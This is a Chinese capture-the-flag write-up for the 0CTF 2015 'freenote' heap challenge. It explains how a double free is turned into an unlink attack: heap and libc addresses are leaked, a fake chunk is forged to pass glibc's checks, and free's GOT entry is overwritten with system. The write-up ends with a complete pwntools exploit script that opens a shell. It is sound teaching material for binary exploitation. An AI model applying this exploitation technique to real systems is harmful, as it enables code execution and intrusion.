[pwn]堆:unlink绕过,0CTF2015 freenote详解

[pwn]堆:2free=unlink绕过,0CTF2015 freenote

题目地址,提取码:f0xd
拿到题目,国际惯例,首先查看安全策略;
在这里插入图片描述
没有开启PIE和full partial。然后查看程序逻辑:
在这里插入图片描述
在这里插入图片描述
函数的名字已经被我改过了,比较常见的堆溢出漏洞的菜单和功能,值得一提的是init__函数(原来名字是啥我忘了):
在这里插入图片描述
申请了一大块地方,用来做记事本的索引。这个结构体在后面根据上下文可以还原:
在这里插入图片描述
然后依次看一下几个函数,可以明显看到的漏洞就是double free:
在这里插入图片描述
这里只检查了一下输入的块的序号是否是负数或是否超出最大,free之后也没有将note索引中的对应指针清空,也没有检查对应的索引中的是否存在位,这个位只在edit函数中被校验,防止我们Use After Free:
在这里插入图片描述
检查了一番,发现程序中并没有后门,那么现在只有double free漏洞可以利用我们就需要考虑还需要什么,程序开启了ASLR。我们不能获取libc的装载地址,但没有开启PIE,我们就可以获取got表的地址,可以通过double free漏洞然后接unlink来修改got表实现getshell,但问题是还需要一个信息泄露来读取一些内存地址,经过寻找,我们发现在create函数中调用的读取字符串函数:
在这里插入图片描述
是属于读取x个字符的类型,而不是读取一个包括\x00的x+1的字符串的类型。那么我们可以利用这个泄露一些地址。具体利用方法是根据chunk的结构:

struct malloc_chunk {
  /* #define INTERNAL_SIZE_T size_t */
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. 这两个指针只在free chunk中存在*/
  struct malloc_chunk* bk;
 
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

画图就是:
在这里插入图片描述
也就是说,我们可以只输入8个字符,那么之前空闲状态的第二个bk指针将不会被覆盖,而且当我们输出块的内容的时候就会像绕过cannery一样将它“带”出来。

当我们释放两个不相邻的大于等于0x80的块的时候(相邻会被合并,小于0x80会被并入fastbins,fastbins不是双向链表,而且在这个题目中最小的申请单位是0x80),将两个空块并入bins,如下图:
在这里插入图片描述
两个块的bk指针是我们可以通过输出“带”出来的,左面块的bk指针指向右面块的地址,而块处在堆中,我们就可以知道右面块处在堆中的地址,根据计算我们就可以知道堆的起始地址。所以我们只需申请4个块,然后释放其中的第0和第2连个块,那么就会构造出一个这种场景,然后通过输出note0就可以带出note2的地址,那么根据栈结构就可以计算出栈起始地址:
在这里插入图片描述
0x1820+0x90+0x90=0x1940,也就是说,note2对于堆起始地址偏移为0x1940。

(上上个图)右面块指向的是bins的索引,它处在main_arena中,具体的位置在libc中的malloc_hook字段:
在这里插入图片描述
那么也就是说,泄露了这个地址我们就可以计算出libc的地址。通过调试可以看出:
在这里插入图片描述
换成地址的写法就是:
在这里插入图片描述
也就是说泄露的地址是malloc_hook+0x68的地方,那么我们只要将泄露的地址减malloc_hook+0x68就得到了libc的地址

那么可以开始构思如何利用了。

想要使用double free接unlink的话需要绕过以下几种(系统自带)检测:

Double Free检测:
在这里插入图片描述
double free检测会检测下一个块的代表前一个块是否被使用的P标志位来防止double free

next size非法检测:
在这里插入图片描述
next size非法检测检测next size大小是否合法(负数、超出最大等)

双链表冲突检测,这也是最重要的绕过和利用点:
在这里插入图片描述
也就是说想要通过这个检测必须保证想要被unlink的块P的FD-3*addr_size的地方和BK-2*addr的地方是指向P的指针,那么,不要忘了,程序中的Note索引中存放有指向P的指针,画一下整个堆得结构吧:
在这里插入图片描述
也就是说,再之前init__函数中初始化申请的大小为0x1810的note索引中能找到指向note0的指针,**但注意指针指向的位置是块内容开始的地方,也就是空块中fd的位置。而在检测中本应该指向的应该是块的开头,也就是presize的地方。**所以我们要在这里伪造一个假的块:
在这里插入图片描述
需要在之前申请的note0和note1都释放的状态下申请一个大小为note0+note1的块,然后内容如图中所构造(这里面的size+0或者size+1代表前一个块是否占用位)。由于之前释放的note1的指针仍然存在,第二次释放note1就会引发unlink,而我们构造的fake fd和bk正好能通过检测,然后就会执行unlink:

P->fd->bk= P->bk
P->bk->fd= P->fd

这两句代码执行完之后就会变成这样:
在这里插入图片描述
指向note0的指针改为了指向自己上面三个单位的地址,这时我们只要修改note0就会覆盖note0,比如我们将note0修改为p64(0)+p64(0)+p64(0)+p64(free_got)就会变成:
在这里插入图片描述
这时再次修改note0的内容就会直接修改got表的值。

接下来就是exp:

from pwn import *

p=remote("172.17.0.2",10001)
elf = ELF("./freenote")
libc = ELF("./libc-2.24.so")

def list():
    p.recvuntil("Your choice: ")
    p.sendline("1")

def new(length, note):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("new note: ")
    p.sendline(str(length))
    p.recvuntil("note: ")
    p.send(note)

def edit(index, length, note):
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Note number: ")
    p.sendline(str(index))
    p.recvuntil("Length of note: ")
    p.sendline(str(length))
    p.recvuntil("Enter your note: ")
    p.send(note)

def delete(index):
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Note number: ")
    p.sendline(str(index))

def exit():
    p.recvuntil("Your choice: ")
    p.sendline("5")

for _ in range(4):
    new(1, 'A')
delete(0)
delete(2)
new(8, 'A'*8)
new(8, 'A'*8)

list()
p.recvuntil("0. AAAAAAAA")
#根据偏移计算堆初始地址
heap = u64(p.recvline().strip("\x0a").ljust(8, "\x00"))-0x1940

p.recvuntil("2. AAAAAAAA")
#根据偏移计算libc初始地址
libcbase=u64(p.recvline().strip("\x0a").ljust(8, "\x00"))-(libc.symbols['__malloc_hook'] + 0x68) 

for i in range(4):
    delete(i)

free_got = elf.got['free']
system = libcbase + libc.symbols['system']

payload = p64(0) + p64(0x00) + p64(heap + 0x30 - 0x18) + p64(heap + 0x30 - 0x10)
new(0x20, payload)
new(8,'/bin/sh\x00')
#依次构造fakechunk,最后的0x21的堆块是要将覆盖过了的堆末尾补充上,最后的\x01代表后面已经没有空间了,前一个块占用
payload="A"*128+p64(0x1a0)+p64(0x90)+"A"*128+p64(0)+p64(0x21)+"A"*24+"\x01"
new(len(payload), payload)
delete(3)

#修改got表中free为system,之后调用free直接变成system
payload= p64(2) + p64(1)+p64(8)+p64(elf.got['free'])
edit(0, 0x20, payload)
edit(0, 0x8, p64(system))

delete(1)
p.interactive()

成功:
在这里插入图片描述

发布了56 篇原创文章 · 获赞 288 · 访问量 18万+

猜你喜欢

转载自blog.csdn.net/Breeze_CAT/article/details/100427158